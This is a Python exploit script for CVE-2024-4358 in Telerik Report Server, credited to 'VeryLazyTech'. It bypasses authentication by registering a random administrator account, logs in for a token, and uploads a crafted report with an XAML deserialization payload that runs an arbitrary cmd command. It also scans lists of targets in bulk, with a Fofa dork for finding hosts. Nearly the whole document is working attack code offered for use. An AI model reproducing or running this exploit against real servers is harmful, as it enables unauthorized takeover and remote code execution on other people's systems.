# Exploit Title: CVE-2024-4358: Telerik Report Server Authentication Bypass
# Fofa Dork: title="Telerik Report Server"
# Date: 2024-09-22
# Exploit Author: VeryLazyTech
# GitHub: https://github.com/verylazytech/CVE-2024-4358
# Vendor Homepage: https://www.telerik.com/report-server
# Software Link: https://www.telerik.com/report-server
# Version: 2024 Q1 (10.0.24.305) and earlier
# Tested on: Windows Server 2019
# CVE: CVE-2024-4358
import aiohttp
import asyncio
from alive_progress import alive_bar
from colorama import Fore, Style
import os
import aiofiles
import time
import random
import argparse
from fake_useragent import UserAgent
import uvloop
import string
import zipfile
import base64
green = Fore.GREEN
magenta = Fore.MAGENTA
cyan = Fore.CYAN
mixed = Fore.RED + Fore.BLUE
red = Fore.RED
blue = Fore.BLUE
yellow = Fore.YELLOW
white = Fore.WHITE
reset = Style.RESET_ALL
bold = Style.BRIGHT
colors = [ green, cyan, blue]
random_color = random.choice(colors)
def banner():
banner = f"""{bold}{random_color}
______ _______ ____ ___ ____ _ _ _ _ _________ ___
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || ||___ / ___| ( _ )
| | \ \ / /| _| __) | | | |__) | || |_ _____| || |_ |_ \___ \ / _ \
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |__) | (_) |
\____| \_/ |_____| |_____|\___/_____| |_| |_||____/____/ \___/
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
{bold}{white}@VeryLazyTech - Medium {reset}\n"""
return banner
print(banner())
parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation tool for CVE-2024-4358" , usage=argparse.SUPPRESS)
parser.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or IP wtih port for vulnerability detection")
parser.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs or IPs for vulnerability detection")
parser.add_argument("-c", "--command", type=str, default="id", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a shell command to execute it")
parser.add_argument("-t", "--threads", type=int, default=1, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Number of threads for list of URLs")
parser.add_argument("-proxy", "--proxy", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Proxy URL to send request via your proxy")
parser.add_argument("-v", "--verbose", action="store_true", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Increases verbosity of output in console")
parser.add_argument("-o", "--output", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Filename to save output of vulnerable target{reset}]")
args=parser.parse_args()
async def report(result):
try:
if args.output:
if os.path.isfile(args.output):
filename = args.output
elif os.path.isdir(args.output):
filename = os.path.join(args.output, f"results.txt")
else:
filename = args.output
else:
filename = "results.txt"
async with aiofiles.open(filename, "a") as w:
await w.write(result + '\n')
except KeyboardInterrupt as e:
quit()
except asyncio.CancelledError as e:
SystemExit
except Exception as e:
pass
async def randomizer():
try:
strings = string.ascii_letters
return ''.join(random.choices(strings, k=30))
except Exception as e:
print(f"Exception in randomizer :{e}, {type(e)}")
async def exploit(payload,url, authToken, session, user, psw):
try:
randomReport = await randomizer()
headers = {"Authorization" : f"Bearer {authToken}"}
body1 = {"reportName":randomReport,
"categoryName":"Samples",
"description":None,
"reportContent":payload,
"extension":".trdp"
}
proxy = args.proxy if args.proxy else None
async with session.post( f"{url}/api/reportserver/report", ssl=False, timeout=30, proxy=proxy, json=body1, headers=headers) as response1:
if response1.status !=200:
print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed{reset}")
await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed\n----------------------------------")
return
async with session.post( f"{url}/api/reports/clients", json={"timeStamp":None}, ssl=False, timeout=30) as response2:
if response2.status == 200:
responsed2 = await response2.json()
id = responsed2['clientId']
else:
print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed{reset}")
await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed\n----------------------------------")
return
body2 ={"report":f"NAME/Samples/{randomReport}/",
"parameterValues":{}
}
async with session.post( f"{url}/api/reports/clients/{id}/parameters", json=body2, proxy=proxy, ssl=False, timeout=30) as finalresponse:
print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Success{reset}")
await report(f"Report for: {url}\n Login crendential: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Success\n----------------------------------")
except KeyError as e:
pass
except aiohttp.ClientConnectionError as e:
if args.verbose:
print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
except TimeoutError as e:
if args.verbose:
print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
except KeyboardInterrupt as e:
SystemExit
except aiohttp.client_exceptions.ContentTypeError as e:
pass
except asyncio.CancelledError as e:
SystemExit
except aiohttp.InvalidURL as e:
pass
except Exception as e:
print(f"Exception at authexploit: {e}, {type(e)}")
async def create(url,user, psw, session):
try:
base_url=f"{url}/Startup/Register"
body = {"Username": user,
"Password": psw,
"ConfirmPassword": psw,
"Email": f"{user}@{user}.org",
"FirstName": user,
"LastName": user}
headers = {
"User-Agent": UserAgent().random,
"Content-Type": "application/x-www-form-urlencoded",
}
async with session.post(base_url, headers=headers, data=body, ssl=False, timeout=30) as response:
if response.status == 200:
return "success"
return "failed"
except KeyError as e:
pass
except aiohttp.ClientConnectionError as e:
if args.verbose:
print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
except TimeoutError as e:
if args.verbose:
print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
except KeyboardInterrupt as e:
SystemExit
except asyncio.CancelledError as e:
SystemExit
except aiohttp.InvalidURL as e:
pass
except aiohttp.client_exceptions.ContentTypeError as e:
pass
except Exception as e:
print(f"Exception at authexploitcreate: {e}, {type(e)}")
async def login(url, user, psw, session):
try:
base_url = f"{url}/Token"
body = {"grant_type": "password","username":user, "password": psw}
headers = {
"User-Agent": UserAgent().random,
"Content-Type": "application/x-www-form-urlencoded",
}
async with session.post( base_url, data=body, headers=headers, ssl=False, timeout=30) as response:
if response.status == 200:
responsed = await response.json()
return responsed['access_token']
except KeyError as e:
pass
except aiohttp.ClientConnectionError as e:
if args.verbose:
print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
except TimeoutError as e:
if args.verbose:
print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
except KeyboardInterrupt as e:
SystemExit
except asyncio.CancelledError as e:
SystemExit
except aiohttp.InvalidURL as e:
pass
except aiohttp.client_exceptions.ContentTypeError as e:
pass
except Exception as e:
print(f"Exception at authexploitLogin: {e}, {type(e)}")
async def streamwriter():
try:
with zipfile.ZipFile("payloads.trdp", 'w') as zipf:
zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')
zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c {args.command}"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>''')
except Exception as e:
print(f"Exception at streamwriter: {e}, {type(e)}")
async def streamreader(file):
try:
async with aiofiles.open(file, 'rb') as file:
contents = await file.read()
bs64encrypted = base64.b64encode(contents).decode('utf-8')
return bs64encrypted
except Exception as e:
print(f"Exception at streamreder: {e}, {type(e)}")
async def core(url, sem, bar):
try:
user = await randomizer()
password = await randomizer()
async with aiohttp.ClientSession() as session:
status = await create(url, user, password, session)
if status == "success":
await asyncio.sleep(0.001)
authJWT = await login(url, user, password, session)
if authJWT:
payloads = await streamreader("payloads.trdp")
await exploit(payloads, url, authJWT, session, user, password)
await asyncio.sleep(0.002)
except Exception as e:
print(f"Exception at core: {e}, {type(e)}")
finally:
bar()
sem.release()
async def loader(urls, session, sem, bar):
try:
tasks = []
for url in urls:
await sem.acquire()
task = asyncio.ensure_future(core(url, sem, bar))
tasks.append(task)
await asyncio.gather(*tasks, return_exceptions=True)
except KeyboardInterrupt as e:
SystemExit
except asyncio.CancelledError as e:
SystemExit
except Exception as e:
print(f"Exception in loader: {e}, {type(e)}")
async def threads(urls):
try:
urls = list(set(urls))
sem = asyncio.BoundedSemaphore(args.threads)
customloops = uvloop.new_event_loop()
asyncio.set_event_loop(loop=customloops)
loops = asyncio.get_event_loop()
async with aiohttp.ClientSession(loop=loops) as session:
with alive_bar(title=f"Exploiter", total=len(urls), enrich_print=False) as bar:
loops.run_until_complete(await loader(urls, session, sem, bar))
except RuntimeError as e:
pass
except KeyboardInterrupt as e:
SystemExit
except Exception as e:
print(f"Exception in threads: {e}, {type(e)}")
async def main():
try:
urls = []
if args.url:
if args.url.startswith("https://") or args.url.startswith("http://"):
urls.append(args.url)
else:
new_url = f"https://{args.url}"
urls.append(new_url)
new_http = f"http://{args.url}"
urls.append(new_http)
await streamwriter()
await threads(urls)
if args.list:
async with aiofiles.open(args.list, "r") as streamr:
async for url in streamr:
url = url.strip()
if url.startswith("https://") or url.startswith("http://"):
urls.append(url)
else:
new_url = f"https://{url}"
urls.append(new_url)
new_http = f"http://{url}"
urls.append(new_http)
await streamwriter()
await threads(urls)
except FileNotFoundError as e:
print(f"[{bold}{red}WRN{reset}]: {bold}{white}{args.list} no such file or directory{reset}")
SystemExit
except Exception as e:
print(f"Exception in main: {e}, {type(3)})")
if __name__ == "__main__":
asyncio.run(main())